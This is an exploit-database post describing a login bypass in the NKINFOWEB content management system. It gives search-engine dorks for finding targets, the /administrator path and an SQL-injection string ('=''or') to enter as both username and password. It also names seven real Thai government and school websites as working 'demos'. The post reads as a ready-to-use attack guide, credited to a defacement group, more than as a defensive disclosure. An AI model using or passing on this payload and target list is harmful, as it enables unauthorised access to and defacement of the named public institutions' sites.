NKINFOWEB Bypass Login Vulnerability

2017.08.10
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

=============================================================| | |-------------------In The Name Of God------------------------| | | Exploit Title : NKINFOWEB Bypass Login Vulnerability | | Exploit Author : Ashiyane Digital Security Team | | Google Dork 1 : intext:NKINFOWEB V3 demo | | Google Dork 2 : site:.th intext:NKINFOWEB | | Tested on : Win 7 / Google Chrome | | Date : 2017-08-10 | | Vendor HomePage : http://www.nkinfoweb.org/ | |======================================| | | Tutorial : | | Search The Dork And Select Your Target | Then Go To Admin Panel At : /administrator | | Username: '=''or' | Password: '=''or' |======================================| | | Demos : | | http://ssk3.go.th/administrator/ | http://www.dongsomboon.go.th/administrator/ | http://www.dokkhamtai.go.th/administrator/ | http://bw3.bwschool.ac.th/administrator/ | http://www.nbwit.ac.th/administrator/ | http://drwit.sesao33.net/administrator/ | http://www.tratcc.ac.th/administrator/ | |=============================================================| | Discovered By : Cyber.Defacer |=============================================================|


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top